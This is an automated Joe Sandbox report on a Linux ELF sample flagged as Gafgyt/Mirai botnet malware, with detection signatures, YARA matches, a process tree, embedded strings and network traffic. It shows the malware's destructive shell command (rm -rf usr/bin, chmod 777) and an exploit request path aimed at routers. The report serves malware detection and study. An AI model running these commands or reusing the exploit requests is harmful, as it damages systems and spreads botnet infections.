Edit tour

Linux Analysis Report
fIupB48xS0.elf

Overview

General Information

Sample name:	fIupB48xS0.elf renamed because original name is a hash value
Original sample name:	7ed99c93cadafd27d67393cae5b99b6d.elf
Analysis ID:	1412860
MD5:	7ed99c93cadafd27d67393cae5b99b6d
SHA1:	6adc22056b2ba5e311acf0729b1c3c04f3349921
SHA256:	e5e4c2fc50fe427d572796fe5a42314dabdb9434d86d19371f0b16d62a6f23ac
Tags:	32elfgafgytrenesas
Infos:

Detection

Gafgyt, Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Changes permissions of common UNIX (system) binary directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1412860
Start date and time:	2024-03-21 05:16:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	fIupB48xS0.elf renamed because original name is a hash value
Original Sample Name:	7ed99c93cadafd27d67393cae5b99b6d.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/fIupB48xS0.elf
PID:	5433
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

fIupB48xS0.elf (PID: 5433, Parent: 5355, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/fIupB48xS0.elf

fIupB48xS0.elf New Fork (PID: 5435, Parent: 5433)

sh (PID: 5435, Parent: 5433, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/fIupB48xS0.elf usr/bin; chmod 777 usr/bin"

sh New Fork (PID: 5437, Parent: 5435)

rm (PID: 5437, Parent: 5435, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/bin

sh New Fork (PID: 5438, Parent: 5435)

mkdir (PID: 5438, Parent: 5435, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 5439, Parent: 5435)

mv (PID: 5439, Parent: 5435, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/fIupB48xS0.elf usr/bin

sh New Fork (PID: 5440, Parent: 5435)

chmod (PID: 5440, Parent: 5435, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/bin

fIupB48xS0.elf New Fork (PID: 5441, Parent: 5433)

fIupB48xS0.elf New Fork (PID: 5443, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5445, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5448, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5450, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5451, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5454, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5455, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5456, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5459, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5461, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5462, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5463, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5467, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5468, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5469, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5473, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5474, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5476, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5477, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5482, Parent: 5441)

fIupB48xS0.elf New Fork (PID: 5483, Parent: 5441)

gnome-session-binary New Fork (PID: 5486, Parent: 1588)

sh (PID: 5486, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 5486, Parent: 1588, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
fIupB48xS0.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
fIupB48xS0.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
fIupB48xS0.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1924c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1929c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
fIupB48xS0.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1aaf2:$x2: /bin/busybox chmod 777 * /tmp/ 0x1a860:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1924c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1929c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1aaf2:$x2: /bin/busybox chmod 777 * /tmp/ 0x1a860:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x191fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1924c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1929c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x192ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1aaf2:$x2: /bin/busybox chmod 777 * /tmp/ 0x1a860:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: fIupB48xS0.elf PID: 5433	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x447e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4492:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44a6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x450a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x451e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4532:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4546:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x455a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x456e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4582:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4596:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x45fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x460e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: fIupB48xS0.elf PID: 5483	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xb75d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb771:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb785:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb799:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb7ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb7c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb7d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb7e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb7fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb811:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb825:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb839:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb84d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb861:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb875:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb889:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb89d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb8b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb8c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb8d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb8ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 5 entries

String: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythonbusyboxiptablesnanonvimvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiawatchdogmkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusr/binusr/ftpusr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 156.168.101.177 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 39136 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40980 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38784 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60122 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39908 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39918 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 35180 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35196
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35216
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55012 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 35186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35186
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 39344 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43068 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36254 -> 7547
